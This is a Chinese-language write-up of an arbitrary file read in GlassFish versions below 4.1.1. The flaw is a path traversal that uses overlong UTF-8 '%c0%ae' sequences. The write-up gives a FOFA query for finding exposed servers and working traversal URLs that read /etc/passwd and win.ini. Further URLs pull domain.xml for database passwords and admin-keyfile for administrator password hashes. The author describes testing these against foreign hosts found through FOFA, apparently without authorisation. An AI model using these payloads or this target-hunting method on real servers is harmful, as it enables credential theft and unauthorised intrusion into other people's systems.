glassfish任意文件读取漏洞
- 1.简介
- 1.1.漏洞类型
- 1.2.漏洞成因
- 1.3.语法搜索
- 1.4.影响版本
- 2.漏洞复现
- 2.1.POC
- 2.2.访问地址
- 2.3.GlassFish的敏感目录
- 2.3.1.获取数据库密码
- 2.3.2.获取GlassFish的后台密码
- 2.4.POC脚本
1.简介
GlassFish是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。
1.1.漏洞类型
任意文件读取:可以利用此漏洞读取到受害机的任意文件。
1.2.漏洞成因
GlassFish 漏洞成因: java语义中会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)。
1.3.语法搜索
FOFA:“GlassFish” && port=“4848”
1.4.影响版本
GlassFish< 4.1.1(不含 4.1.1)
2.漏洞复现
这里直接使用fofa语法进行搜索,这里是发现一个国外的地址,需要注意的是看版本,版本不要搞错了。
2.1.POC
Windows:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
Linux:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
需要注意的是后面跟着的路径是有所不同的,比如Linux系统使用是的/ect/passwd而Windows则是/windows/win.ini。当然这个路径也可以替换,并非一定使用这个路径。
2.2.访问地址
https://IP地址:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
2.3.GlassFish的敏感目录
domains/domain1/config/domain.xml 各种数据库密码位置
domains/domain1/config/admin-keyfile 后台密码存储位置
2.3.1.获取数据库密码
https://IP地址:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/domain.xml
2.3.2.获取GlassFish的后台密码
https://IP地址:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile
这里得出的密码是以sha256的密文加密的方式,需要再相关的平台进行解密,我找了半天也没找到相关的解密办法,同时也未解码成功。
2.4.POC脚本
脚本地址:POC脚本
这个脚本用法上面都有介绍,我这边从fofa中找了几个手动测试了一下,以及使用脚本测试了一下,没搞懂,手动测试是存在的,但是脚本测试好像是没检测到。不知道是不是存在一些误差。